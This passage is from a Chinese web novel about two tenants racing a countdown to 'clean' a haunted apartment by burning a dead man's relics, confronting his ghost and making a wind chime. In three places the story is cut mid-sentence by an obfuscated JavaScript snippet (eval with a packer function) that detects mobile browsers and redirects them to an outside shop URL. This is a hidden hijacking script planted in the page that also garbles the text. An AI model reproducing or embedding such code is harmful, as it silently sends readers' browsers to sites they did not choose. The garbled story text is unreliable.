“■”会是邮轮吗?或者是某种类似邮轮的东西? 可是,在根本不存在海洋的世界,邮轮要如何带他们离开呢? “邮轮吗……”他想着,道,“或许不是。喻成风收集这些船票,可能只是他的个人爱好,和笔记里的■没有什么关系。” “哦。”伍九思也不懂,听了便点头,不再接这个话题。片刻又道:“对了,我这边房间已经收拾好了,我们再出去打扫下客厅和玄关,洁净度应该就能达到100%了。” “嗯,现在的完成度应该有85%左右。”时安之也在心里算过,浴室、储藏室、厨房和两间卧室都打扫过,现在只剩下相对干净的客厅和玄关,按照大致的比例推算,他们离完成任务的目标很接近了。 只不过,一想到这件事,他心里就有点隐隐的不安。 打扫这两间卧室的过程实在是太平静了,作为100%洁净度目标下的大比重场景,不应该这么简单才对。 这最后的15%,还会有什么波折吗? 时安之一边琢磨着,一边和伍九思一同出了卧室,往客厅走。 然而,当看到电视屏幕时,他终于意识到,刚才的那些考虑完全就是跑错了方向。 【公寓洁净度:60%】 【倒计时:05:02:42】 屏幕上冰冷的、斗大的数字,让人根本没有读错的余地。 60%。 离他的估算相差很远很远的一个数值。时安之站在客厅中间,皱起眉,把整间公寓再次打量了一遍。 客厅,浴室,厨房,储藏室,主卧,次卧。 没有多余的房间了。 那么,剩下的40%洁净度,要从哪里来? 8. 时时勤拂拭(7):勿使惹尘埃 【公寓洁净度:65%】 【倒计时:04:31:05】 不出所料,即使把客厅和玄关全部打扫了一遍,洁净度也只达到了65%。 时安之坐在沙发上,一言不发,盯着屏幕上那个凝滞的巨大数字,和其下不断翻跳着的倒计时。 还差35%的数值,这是非同一般的差距,太难填平了。绝不是少清理了什么东西可以解释的。 他们从40%起步,大扫除到现在,也只增加了25%而已。 这儿一定有什么重要的事情被他们遗漏了。 时安之把那张轻飘飘的规则纸拿出来,摊在茶几上,虽然心中没什么期待,但还是又读了一次。 【《入住卫生须知》】 【亲爱的租客,您已入住“无名楼”第103号公寓……】 【1. 安居之首,在于拂拭。时时勤拂拭,勿使惹尘埃……】 【2. 您的室友喜爱绝对的洁净。为了日后的友好相处,请不要让他发现任何不净之物……】 【3. 因此,若在室内见到任何不属于本房屋固有的物质,请立即清理。可扔至客厅的焚化炉内……】 时安之陡然停了下来,看着这一行字。 任何不属于本房屋固有的物质。 规则在下面进行了批注,“包括但不限于灰尘、毛发、血迹、牙齿、人体残肢等。” ……这会不会是一句误导? 从在浴室里发现牙齿的那一刻起,他们就理所当然地认为,这条规则指的是那些形容可怖、绝对不该出现在这间屋子里的东西。那些从高处坠下的,血淋淋的残片。 可是,其他东西呢? 属于这位神秘室友过去的私人物品,算不算是“不属于本房屋固有的物质”? 比如说—— 笔记本? 时安之的目光落在茶几边上,暗黄封皮的旧笔记本放在那里,安静地合拢着。 这是那个叫喻成风的青年留在世上最后的字迹。 里面夹着一张泛黄老旧的合影,也许是他留在世上最后的影像。 还有一些模糊不清的船票,一串老钥匙,寄托着两个年轻人对那个已经死去的旧世界的向往…… 这些东西,都算是不净之物吗?这是我们最后要清理的目标吗? 时安之忽然觉得有点茫然,他抬起头,和沙发对面的伍九思对上眼神。伍九思顺着他刚才的视线,也看向了那个笔记本。 虽然没什么文化,但这个队友并不笨。 伍九思很快就领会到了时安之的猜想,问了出来:“这些东西,也要烧掉?” “我不知道。” 时安之诚实地说。 “我不想烧掉。” 虽然这些东西可能是真正的无用之物,留在这个时代,不会再有任何人理解它们的意义。甚至连喻成风这个人,也不再具有任何意义。 但他还是不想烧掉那些应该被称之为“遗物”的东西。 “如果,我们最后达不到这个100%洁净度的要求,会怎么样?”伍九思不再追问,转而小心翼翼道。 时安之叹了一口气,这也是他一直在想的问题。“好一点的情况,是我们被关在这间公寓里,需要继续完成一些更加困难的任务,才能重新出去。”他说。 “次一点的情况,是我们永远被困在这里,再也出不去了。” “这只是次一点的情况?”伍九思说,“那……最坏的结果是什么?” “最坏的结果就是,倒计时结束,这间公寓会开始某种消杀。” 时安之看着那个倒计时,语气是前所未有的冰冷:“消杀的对象,除了那些不净之物以外,也包括你和我。” ——最坏的结果就是死,这一点并不难想。 “不管怎么样,小伍同志,现在我们需要做一个实验。”时安之收回了目光,接着道,“确认一下这35%的归属究竟在哪里。” “实验?”伍九思说,“怎么做?” 时安之站起来,抄起那本笔记,走到焚化炉前。 笔记本只写了约一半的内容,另外一半都是空页。时安之动手,直接把空白的一半页面撕了下来,一鼓作气,全部丢进了焚化炉中。 青色的火焰腾地跃起。 时安之没有看炉中的情形,只是盯着电视屏幕。 那最大的数字突然闪烁了几下,左右翻动。在数秒的跳跃之后,不甘不愿地停了下来。 【公寓洁净度:70%】 【倒计时:04:20:13】 洁净度上升了5%。 他猜对了。 任务所剩下的洁净度,就在这些“遗物”身上。 “真的是这些东西……”伍九思在一旁说。他显得很焦虑,时不时揉揉头发,搓搓手指,又重复道: “看起来,我们必须烧掉这些东西,才能完成任务。” 时安之回头,注视着他的同伴。伍九思也在小心地观察着他的神色。 任务的下一步要求是烧掉喻成风的所有遗物。 时安之没有掩饰过自己的想法,他并不想这样做。而伍九思即使没有明说,倾向也已经很明显,他想要完成任务。 至于什么遗物不遗物的……他不太明白其中的意义。 一个从苦工营里长大的孩子,在生死关头,他只想要活下去。 时安之当然不能说这有什么不对。 事实上,真正抱有莫名其妙的执拗的人,是他自己才对。时安之无法否认,在意识到需要烧掉那些遗物时,他心中如遭雷击,生出了一种极其强烈的抗拒感,完全没有来由。 一想到要毁灭这个素昧平生的青年留在世上最后的痕迹,他就感到非常痛苦。 规则为什么要我们这样做? 他转而想着,这些规则究竟是谁写下的? 起初时安之以为,规则是顺应着“室友”喻成风的意志,因为他是个洁癖患者,整天就是想着好脏好脏,要打扫干净。因此才会出现100%洁净度的目标、以及不能让室友见到不净之物的这个要求。 但是……喻成风怎么会要求租客烧掉自己的笔记本和照片? 这些东西到底不净在哪里? 时安之突然产生了一个令他冒冷汗的想法。 ——规则的书写者,所针对的根本不是租客。 规则不是为了保护他们而存在的。 这张所谓的卫生须知,真正想要的结果,确实如他所猜测的一样,是一场消杀。只是,消杀的不是租客,而是被死亡永远困在了这里的,那个悲伤的灵体。 ——喻成风。 规则想消除这个人留下的所有痕迹,从而抹杀掉这个灵魂。 【安居之首,在于拂拭。时时勤拂拭,勿使惹尘埃。】 喻成风……自己就是需要拂拭的“尘埃”。 时安之站在那里,因为这个突然冒出的想法,而遍体生寒。 与此同时,仿佛是为了印证他最坏的猜想一般,客厅的灯光猛地闪烁了一下。像一只眼睛猛然睁开,又转而闭上。 两人瞬间都是一僵。“刚……刚才是……”伍九思的声音有点发颤。 时安之没回答,他的目光死死定在了电视屏幕上。 【公寓洁净度:70%】 【倒计时:04:15:47】 倒计时的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283927|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数字依旧在规律地跳动着。 ……等等。 有点不对劲。 时安之在心中数着秒数,瞳孔骤然收缩——倒计时的速度变快了。 原本平稳递减的秒数,此刻开始以一种清晰可辨的急躁速度向下翻动,好似有一只无形的大手,百无聊赖地拨弄起了公寓内时间的指针。 04:15:30……04:13:23……04:10:40…… “时间……时间不对劲。”伍九思也发现了,他指向屏幕,脸色变得惨白,“它变快了……” 像是某种最后的耐心已经耗尽,103公寓开始显露出了它冰冷的本质。不再给他们思索的时间,也不再给他们更多的机会。 要么执行规则,要么就被规则吞噬。 伍九思浑身都在抖,他看向时安之,好像在等他的决断,又好像是在看什么别的东西。时安之低下头,两个人的视线在他手中残缺的笔记本上交汇。 ——丢掉它。 ——丢掉它,让我们活下去。 面对着他的目光,时安之艰难地动了动嘴唇,还想说点什么。 然而未及出声,伍九思就突然动了,从沙发上猛地窜起来——时安之下意识想阻拦,却在这时发现,对方的目标并不是他手中的笔记本。 有一张照片,在他拿起笔记本走向焚化炉之前,从纸页之间掉出来,留在了茶几上。 伍九思抓起了茶几上那张合影。 他甚至没敢再看一眼时安之。在倒计时闪烁的光芒中,他冲到焚化炉面前,把那张泛黄的老照片直直地扔进了炉口。 轰——! 青黑色的火焰前所未有地冲天而起,几乎舔舐到公寓的天花板。 紧接着,电视屏幕上,血红的数字猛地一跳: 【公寓洁净度:75%】 【倒计时:03:59:59】 倒计时速度再次恢复了正常。 空气中凝滞的焦灼终于短暂解除,伍九思稍稍松了一口气。 但时安之望着那炉火,看着那已经化为一抔飞灰的照片,陷入了长久的沉默。 他心中不安的感觉越发浓烈了。 (“呜……”) ……忽然间,一声极轻、极压抑的啜泣,不知从何处钻了进来。 紧随其后,“啪嗒”,一声轻响。 时安之下意识地低头,一滴暗红色的液体落在地板上。 他猛然抬眼,越过面前伍九思又惊又惧的视线,看向天花板。 只见客厅正中,那片原本洁净的天花板上,正缓缓晕开一片血渍。 如同拥有生命一般,血渍向外蔓延,勾勒出扭曲的边界。在那片不断扩大的暗红色中,一个模糊倒悬的人形轮廓,开始一点点地出现。 它像是嵌在天花板之中,又像是艰难地要从另一个神秘空间挣脱出来。轮廓的边缘正在不断波动,只能勉强辨认出头颅和肩膀的形态,本该是面部的位置没有五官,只有一片浓郁的血红。 (“呜……”) 第二声啜泣传来,比刚才更清晰,更近。 这一次,时安之终于能够确定,声音的源头正是天花板上冒出来的那个东西。 一滴,两滴。 更多暗红色的液体,开始从那个轮廓的身上滴落,一下一下砸在地板上,发出清脆的“啪嗒”声响。 时安之浑身的血液都变冷了。 他仰头,望进那片逐步蔓延开的血红,仿佛又回到了厨房中,被那只干瘪的灰色眼球注视着。长久地、悲伤地注视着。 这就是你所悲伤的事情吗?你要为此做出些什么吗? ——喻成风,你来了吗? 9. 时时勤拂拭(8):正当防卫 跑! 当然要跑。 时安之没打算傻站着被鬼吃掉,他的反应比伍九思还要快上几分,后者已经被吓得僵死在原地了。时安之一把拽过他,要往其中一间卧室冲去。 上方的呜咽哭声却在这时越发响起来,紧紧贴在他背后方寸的距离。血滴声也越来越快,从天花板上落下来,身前身后,连成一片可怖的血海,时安之脚下的地板都不再干燥,踩下去的每一步都沾上了粘稠的血渍,抬脚拉起长长的血丝,生生拖慢了他的速度。 他跑出去几步,眼前已是一红。那模糊的血色人形倒挂下来,垂在他面前不到半米的位置,一股血液的腥臭气味扑面而来,瞬间盈满鼻腔。 它的五官已经不再是一片虚无,而是呈现出一种狰狞且痛苦的神态。颈骨以一种极怪异的角度扭曲着,似乎早就彻底断裂,仅仅依靠皮肉才能勉强连接。整颗头颅无力地悬垂,搭在时安之面前,像皮球一样,来回地轻轻摇晃。 因着某种巨大的冲击力,它的面部也变得不对称了。一侧颧骨恐怖地塌陷下去,眼窝处是一片漆黑的空洞;另一侧的眼球则胀成了一颗混浊的血泡,摇摇欲坠,看起来马上就要脱出眼眶。 而大量暗沉近乎于浊黑色的污血,正从这人形七窍的裂痕中不断地溢出,不断地滴落。 时安之猛地向后退了一步,心几乎要从胸口跳出去。到卧室不过十来米的距离,如今看来竟然远如天堑。 过不去了吗? 要怎么办? 血色的人脸离他更近了几分,再往前探,就能和他亲密无间地挨到一起了。时安之又艰难地往后退了一个大步,脚下已经完全被血浆粘住,再也迈不出一个步子。他盯着那张完全称不上是人类的脸,思绪一路飞转——要怎么办? 我只是租个房子而已,这样被鬼吃了多划不来啊。 时安之深呼吸,努力让自己保持镇定。刚才伍九思焚烧合影时,洁净度确实上升了很大一段数值,证明这是符合卫生须知要求的行为。换句话说,这是规则希望看见的。 完全按照规则的要求做,就不应该陷入绝境。针对现在这样的情况,公寓一定有着某种防护措施。 时安之在心里飞速地筛选着那十条规则。 然后,又是重复的那一条,跳进了他的脑海里。 【......因此,若在室内见到任何不属于本房屋固有的物质,请立即清理。可扔至客厅的焚化炉内。】 【(注:包括但不限于灰尘、毛发、血迹、牙齿、人体残肢等。)】 时安之微微扭头,看到了客厅角落里的焚化炉。离自己只有两步的距离。 “伍九思!!!”他立刻叫道。 伍九思还好没晕,不过看上去也差不多了。他煞白着一张脸,嘴茫然地张着,根本没有顾及答话,时安之又叫了他一次,他才缓慢地反应过来,呆滞地转头“啊”了一声。 “把铲子扔给我!”时安之继续冲他喊。 之前从储藏室带出来的清洁工具里,有一把金属制的长柄铲子,此刻就靠在沙发边,离伍九思的位置比较近。伍九思这时终于稍微清醒了些,他一把抄起铲子,向另一头的时安之丢过来。 时安之接住,转过身就把铲子猛扎进了焚化炉的炉口。 火焰发出滋滋响声,他没有分秒犹豫,从焚化炉中铲起来一满勺不知道是什么东西,径直就冲着眼前逼近的人形泼了过去。 燃烧的火焰在空中划出一道巨大的蓝青色弧线,直直落到那怪异的人形轮廓上。燃料与血液接触的瞬间,立刻爆发出了剧烈的“嗤嗤”声。大量的腥臭黑烟也随之蒸腾而起。 那大团的血渍如同活物一般,顿时瑟缩,浑身抖动起来,发出一声高亢而尖锐的悲鸣。 这东西竟然是被火焰烫伤了。 紧接着,人形便开始了坍缩。那些血液逐渐往天花板上回涌,如有实质般一点一点卷起来、缩回去,慢慢变得像一颗烧焦的核桃那样小小黑黑的。最后,在时安之的注视下,完全消失了。 ...... 没死吧? 应该没死吧? 时安之默然,心说实在对不住,本来没有要伤害你的意思。鬼要犯我,我只好正当防卫。 他长长地吐一口气,看向电视屏幕: 【公寓洁净度:80%】 【倒计时:03:45:32】 ......这东西也加洁净度? 不会真的把鬼烧死了吧? 时安之心里犯着嘀咕,四肢实在脱力,再没力气支撑,下一秒直接就地瘫了下来。再看伍九思,也和他差不多的情况,只是离沙发比较近,成功瘫到了沙发上。 “......什么情况啊?到底?”半晌,那头伍九思才开腔,声音沙哑得好像刚用声带跟河马拔过河,“是我们搞错了......不应该烧这些东西吗?” 时安之张了张嘴,想解释,又觉得好复杂。最后他说:“我想,可以理解为,房东希望我们把前室友的东西打扫干净。但被前室友发现了,所以他生气了。” “啊?”伍九思说。他沉默了几秒:“房东是指,和我们签合同的那个漂亮的女士吗?” “只是一个泛指。”时安之说。 继续沉默。 “......那我们到底应该站哪头?”伍九思颤颤巍巍的声音又传了过来。 站我们自己这头。时安之心说。 他躺在地上,看着惨白的天花板。那里的血迹已经完全消失,就像从来没有出现过一般,被火焰清理得干干净净。 但时安之的耳边,依稀还能听到那人形的呜咽哭诉,一声一声,连绵而哀婉。 刀一样地,冰凉地贴在他的记忆中。 不对劲。 他总觉得不对劲。 鬼魂来势汹汹,抱着好像要把他们两个就地绞杀一般的气势。但那声音却是如泣如诉,一路呜咽着、尖叫着尾随,仿佛急迫地想表达些什么。 想表达些什么? 时安之皱了下眉头。 如果他的推断没有问题,这间公寓里就存在着两个对立的立场——《入住卫生须知》和喻成风的鬼魂。须知的目的,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283928|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清除掉喻成风的所有痕迹,将它彻底抹杀;那么喻成风的目的呢?他想自保? 这是最容易想到的一层,喻成风想自保。他刚才的袭击,既是愤怒于伍九思烧掉了自己的照片,也是为了保护自己剩下的遗物。 至于中立的立场,只存在一个。 公寓的租客。 租客可能会选择两方中的任何一方,他们的立场还是一个未知数。 也就是说...... 任何一方都会尝试争取他们。 时安之坐了起来,他知道喻成风希望表达些什么了。只是无论那些话的内容如何,这鬼魂用现有的手段,显然是没办法输出给他们的。 他有了一个想法。 一个......风险非常大的想法。 “你刚才有记得锁浴室的门吗?”时安之转头问沙发上的伍九思。伍九思愣了愣:“浴室?我没有啊。” 须知第七条有提到,洁净度达到70%之后,要先锁上浴室的门。 不过刚才一连串事件,发生得都太过突然,他们没来得及去完成这项工作。这倒是给时安之接下来的计划减少了一些阻碍。 【7. 考虑到卫生需要,请首先清理浴室。公寓洁净度超过70%之后,不要再使用浴室,并锁上浴室的门。】 【8. 如果您听到浴室里传来声音,请不要理会,那只是管道老化的水声。即使那听上去像说话声或有人在求救。】 浴室,浴室。这个地方在规则里出现得实在太频繁了。假如那张卫生须知需要对抗的对象是喻成风,那浴室一定和他有最大的关联。 时安之从地上爬起来,稍微拉伸了一下自己麻木的手臂,然后拾起了掉在地上的那半边笔记本。 “小伍同志。”他对沙发上的伍九思说,“接下来,我准备做一件很危险的事情。” “什么事情?”伍九思一听明显紧张起来。 时安之没回答,而是继续道:“现在我做的任何动作,你都不要尝试模仿,如果遇到危险,就用刚才那个方法应对。等到倒计时只剩一个小时的时候,请你自己把剩下的东西全都烧掉,不用等我。” “什么不用等你......你要做什么啊?” 时安之对他笑了一下。然后,迎着伍九思震惊且充满不解的视线,他一鼓作气地扬手,把笔记本剩下的纸张全部扔进了焚化炉。 “轰!” 火光冲天。 屏幕上的数字一阵疯狂地闪烁: 【公寓洁净度:90%】 【倒计时:03:37:12】 在看到数字升上90的瞬间,时安之立刻转身,用最快的速度冲向了浴室。 浴室的门果然没有上锁,只是虚虚掩着,门里面还散发出他们此前清洁过的淡淡消毒剂味道。时安之一冲进浴室,就猛地拍向门边的开关,直接将天花板上那青白色的灯给按灭了。 门缓缓地合拢,整个浴室陷进一片黑暗。 时安之眼前也随之一黑。几乎就在下一秒钟,天旋地转,他重重地跌倒在地,失去了意识。 10. 时时勤拂拭(9):生日礼物 这倒不完全是我的打算,时安之心想。 他的计划,他那个大胆的想法,从一开始就立足于卫生须知上重复的两个序号。那两个相悖的第九条。 【9. 在公寓洁净度高于90%时,不要进入公寓任何的阴影区。确保你待在光线能■■■■......(内容被抹黑)】 ——【9. 在公寓洁净度高于90%时,确保你待在一个安全的阴影区内。(潦草的铅笔手写)】 公寓内两个相对的立场,第一次交锋的地方,就是纸上的第九条规则。并且,喻成风的灵体似乎在这里占据了上风。 它成功覆写了公寓的权限,在这张打印出来的冰冷的卫生须知上,留下了属于自己的痕迹。 它说:洁净度高于90%时,要待在阴影区内。 时安之不认为,这个灵体拼尽全力留下这一行笔迹,只是为了杀死一个本可以争取的租客。如果有机会,它一定会先尝试和他沟通。 所以他小小地赌了一把。 赌这行出自鬼魂之手的第九条,不会直接害死他。 呃......现在这算赌赢了么? 时安之的神识漂浮在一团无尽的黑暗中,左看看右看看,有点茫然。 不过,他没有困惑太久。很快黑暗里便闪现出光亮,像划船时窥见的一线峡谷洞天,光线慢慢地越撕越大,最终在他眼前形成了一段完整的画面。 时安之感觉到自己的意识附着在一具身体上。在某个暗淡的房间内,这个他所附身的人低着头,似乎正在伏案写着什么东西。 “......所以啊,你有在听我说话吗?”身旁忽然有人打断道。 时安之转过头。一个青年坐在窗台上,看着他。 白色的旧衬衫,瘦削而干净的脸庞,微微笑着。这样清爽平和的一张脸,时安之却看得悚然一惊。 活生生的喻成风,就坐在他面前。 (“......”) 自己所附身着的人好像说了些什么,字句完全模糊不清,时安之无从辨别。 青年听了却顿时皱起眉头,回他:“你已经忙了这么多天,这东西还要算到什么时候啊?我刚刚在和你讲,小烛的生日马上就到了,可我还不知道送她什么礼物好。” (模糊的回应,似乎带着笑意。) “......把自己打包送给她?你就没有更可靠的建议了吗?我果然问错人了吧。”喻成风叹口气,耳尖却似乎微微变红了些,他确实是一个敏感又容易害羞的年轻人。 (模糊的回应。) “不行不行,我都说了不行。”喻成风貌似被调侃得有点恼了,从窗台上跳下来,瞪着他。又转而低下头,声音变低了些:“而且,我也不是什么好礼物啊,一年一次的生日,应该送些更吉利的东西吧。喂,你认真点,我是严肃地在请教你。” (“......”) “我没有和你说过么?”喻成风惊讶,“我的名字就不太吉利。不知道起名时是因为什么,但是……它的谐音是「我欲乘风归去」,很萧索的意味。你不觉得听起来很不吉利吗?” (又是一段模糊的回应,似乎在反驳他。) “自由?你认为它是这样的意思?”喻成风轻轻笑了一下,“好奢侈的愿望啊。” “......说起来,你真的觉得,那个「远方」是存在的吗?是■可以抵达的吗?还是说你只是在骗小烛而已。她已经完全相信了诶,如果知道你骗她......” (模糊的应答。) “你怎么就不会骗人了?明明连那谁都敢骗。你就只是看起来很不会骗人罢了。”青年严肃道。 然后他盯着时安之的脸看了一会儿,忽然又叹一口气:“......好吧,你看起来确实很不会骗人。算我相信你了。” “其实,相比起探索「远方」,我更想知道,■能不能带我们回到......一个有「家」的地方。” “旧世界?也可以这么说吧。旧世界的人都有家么?那是什么样的感觉?我很好奇。住在那样的地方,那样完整的世界里......而不是永远流浪在一片什么都没有的废墟上......” “就连你也不知道,对么?你也有不知道的事情啊。” 时安之看着自说自话起来的喻成风,一时之间心情有点复杂。虽然也不用他接话,但这内容对于一个失忆的流浪汉来说实在是太扎心了。 不过他的思绪一直都很清醒。在这段似乎没什么重点的对话中,他捕捉到了一个特别的信息。 关于他所附身的这个人。 这个人显然和喻成风非常熟悉,两个人之间的对话,就是朋友间聊天的随和语气。不仅仅是喻成风,姜小烛似乎也认识这个人,并且“■可以抵达「远方」”的概念,就是这个人传递给他们的。 这个人应该是喻成风和姜小烛的共同朋友。 如果他要弄明白关于■的事情,大概就得从这个人的身份下手。 时安之这头想着,那头喻成风又说回了一开始的事情。 “哎呀,扯太远啦!小烛的礼物还没有着落呢,好头疼啊。”他说着,在房间里来回踱了几步,停下来,“你说,有没有什么办法,可以把「远方」送给她?” “太抽象了吗?好像是有点......我的意思是,有没有什么和「远方」相关的东西?有象征意义的那种?” “你主意最多了,你帮我想想啊——” 话音落下,喻成风那道殷切的目光向他投过来。 时安之张了张嘴,不知道该说什么。 但他突然在这一刻感觉到,周围的颜色都慢慢地开始消去了,画面也在逐渐减淡消散。 这段记忆竟然就要结束了,时安之意识到。 ......就是这样了吗? 这就是喻成风要给我看的东西吗?他想给他的女朋友送一份礼物? 都当鬼了,还要秀人一脸恩爱,是不是故意的。 下一秒里,时安之的意识重新回到了那飘飘荡荡的黑暗之中,再没有别的内容出现了。一直到他在漆黑的浴室里睁开眼,感受到冰凉坚硬的地板贴着皮肤时,他依然在思考着。 这样一段短暂的记忆闪回。喻成风想表达的是什么? 时安之撑着地板慢慢爬起来。不知道刚才晕倒时摔得有多惨,手肘和腿都隐隐作痛。 他摸黑再次打开灯,拧了拧浴室的门把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283929|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,门从里面上了锁,一拧倒是开了。 几乎在他开门的同时,蜷缩在沙发上的伍九思像受惊的兔子一样弹了起来。时安之一看到他还在,就心说还好,时限还没有到,他应该没烧剩下的东西。 再一看屏幕—— 【公寓洁净度:90%】 【倒计时:01:25:09】 醒来得不算晚,还在他此前估算的范围之内。只不过,剩下的时间确实也很紧张了。 不到一个半小时。 够么?时安之心里没什么底。然而没底也得硬着头皮上。 “时兄弟,你......你没事吧?”伍九思这时冲了过来,眼睛瞪得老大,急于要跟他描述刚才的画面:“你进去之后,里面的灯就灭了,浴室门也锁上了,我怎么拍都没反应,吓死我了......” “我没事,别担心。” 说没事是假的,至少失去意识在浴室摔那么一跤确实很疼。时安之动了动手臂,只感觉四肢的骨头都像拆散重组过一样,泛起阵阵迟钝的酸痛,他回到客厅,把自己整个人陷进柔软的沙发里,长舒一口气,才微微转头看向伍九思。 “我进去之后,外面有什么异常吗?”他轻声问。 伍九思用力摇头:“没有,什么都没有。我等得超级焦虑,生怕会发生点什么......结果电视上的数字一直没动过,也没再出现别的怪事。” 说完,他小心翼翼地打量着时安之,“你刚才为什么要进去?你在里面......遇到什么了?” “......”时安之斟酌了一下该怎么描述。 “很可怕吗?”伍九思忙道,“特别可怕的话,其实也可以不用跟我说......” “不可怕。” 时安之微微仰头,看向洁白而干净的天花板,两个小时之前,那里还是一片污浊恐怖的血迹。 “我只是看到了一段记忆。” “记忆......?” “嗯。很普通,很日常,只是一段朋友间的对话而已。我们的前室友正在考虑给自己的女朋友送什么样的生日礼物。” 伍九思愣愣地看着他:“啊?” “你是说,你那样,”他比划了一个往焚化炉里烧东西的动作,“又那样,”又比划了一个冲向浴室的动作,“然后那样,”再做了一个晕倒在地的手势,最后道:“就是为了看到这个?” 时安之:“......” 怎么描述得我不太聪明的样子。 “好吧,既然是这样,我们接下来该怎么办?时间就剩这么点了......”伍九思又看了看电视屏幕,倒计时已经滑到了01:13:35。他的视线不由自主地瞟向茶几上剩下的东西——时安之烧掉笔记之后,剩下的几张船票。 还要不要烧?他的眼睛明确在询问时安之。 “我们不烧。”时安之说。 “我倒是大概猜到......他想让我们做什么了。先试试也无妨嘛。” “这也能猜到啊?”伍九思说,“他到底想要什么?” 时安之抬头,眼神漆漆,沉静的目光注视着他,微微一笑。 “我们给他做一件生日礼物。” 11. 时时勤拂拭(10):世界的尽头 一件能把「远方」带来身边的礼物。 不知道喻成风到最后有没有想出要送姜小烛什么,但时安之听到这句话的时候,脑海里已经隐约浮现出了一个想法。 就像他所附身之人当时打趣的那样——答案就在喻成风自己身上。 风。 一阵看不见摸不着,但从远方而来、带着远方的味道和声音的风。 时安之在茶几边坐下,把剩余的几件遗物一字排开。一串黄铜的老钥匙,三张字迹模糊不清的船票。 他将钥匙一把把拆了下来,从茶几下的抽屉里找出一个线团,用透明的鱼线分别系好每一把钥匙。再拿一根金属短杆全部串起来,整齐地横向排列,最后轻轻拨弄一下最尾端的小钥匙,一阵清脆的叮当声就接二连三响起。 “这是什么?”伍九思在一旁问他。 时安之道:“这是风铃。” “风铃?是做什么用的?” “嗯……是一种发声的装饰品。有风从远方吹过来时,风铃互相碰撞,就会发出好听的声音,旧世界的人们很喜欢。” “原来是这样,这也是旧世界的东西。”伍九思出神地盯了他手中的风铃一会儿,忽然又说:“你知道好多旧世界的事情啊。” “......”时安之微微一愣。 他都没有意识到,他脑海中储存的记忆,确实有太多属于旧世界的碎片了。且不说他还是一个失忆之人,即使是普通人,在这个时代,也没有渠道去了解那么多关于旧世界的信息。 我为什么会知道? 时安之摸了摸自己的太阳穴,发现这实在是一颗很神奇的脑袋。 算了,他摇摇头,决定不为暂时无法解决的难题苦恼。时安之把风铃放在茶几上,转头把几张船票打孔,也分别系上去;这样有风吹过时,不仅钥匙会碰撞出声响,白色的纸片也会在空中翻飞,很是好看。 乌斯怀亚,雷克雅未克,开普敦。 世界的尽头。 姜小烛想去的「远方」,被悬挂在象征着家园的钥匙串上,清风一过,沸腾起的一小片白色宛如群飞的鸟。 她会不会喜欢这个礼物? 时安之不知道。不过,现在他也不是真要把礼物送给那个不晓得身在何方的姜小烛。 【公寓洁净度:90%】 【倒计时:00:50:25】 一动不动的洁净度,越数越少的倒计时。伍九思紧张地看着他:“现在要做什么?不提高洁净度的话......我们要用别的办法出去吗?” “谁说我们不提高洁净度了?”时安之反问。 “啊?”伍九思呆滞道,“可是,不是说不烧了......” “没有说一定要烧吧。” 时安之看了看手上的规则:“报时鸟当时说的是【将您所居住的公寓内部打扫干净,使公寓洁净度达到100%】。也就是说,不管用什么方法......只要保证这间公寓「里面」是100%干净的就可以了。” “这样的话,难道你的意思是......”伍九思睁大了眼睛。 “嗯。去找点工具吧,我们还有一点时间,应该足够撬窗户了。”时安之微笑。 卫生须知上,那条禁止打开窗户的规则,很显然是针对高坠而死的喻成风。 既然公寓的目标是要清除喻成风灵体的存在,那么这条【不要尝试打开、窥‖探或敲击窗户】的规定,所对应着的反面...... 就是他们可以尝试的方向了。 客厅的窗户是用纸张、废弃合金和铁板乱七八糟地密封起来的,自然有着较厚的区域和较薄的区域。时安之很快找到他所能判断出的最薄位置。那里拼贴着三四层纸板,他扬起金属铲子,用了全身的力气,狠狠往里一扎。 并没有扎穿。 时安之:“............” 没事,力气小了点而已,坚持一下,积少成多。 再来第二下,第三下......终于不负众望,金属铲子在窗户上扎出了一道狭长的缝隙。一阵冰凉的风迅速挤进来,带着废土上辛辣刺骨的水汽,在裸 | 露的皮肤上激起一股战栗。 “我来我来。”伍九思拿起另一把长夹,就着时安之扎出的缝隙,开始向两边扩力。 两个人你换我来我换你,搞得满头大汗。好半晌以后,才成功在窗户上凿出了一个数十厘米长、足以容纳半个身体的破口。 时安之探身,向外张望了一下,总算见到了他一直好奇的、公寓窗外的景象。 茫茫然中荒芜的白色,一片蔓延无边际的大雾。上下望去,没有他来时经过的那片昏暗、寸草不生的荒地,也没有阴云密布的灰败天空。什么都没有。 除了这片虚无的白之外,看不见任何东西——仿佛这栋楼本身就已经孤立于世界的尽头。 “快一点儿,快一点儿,时间快到了!” 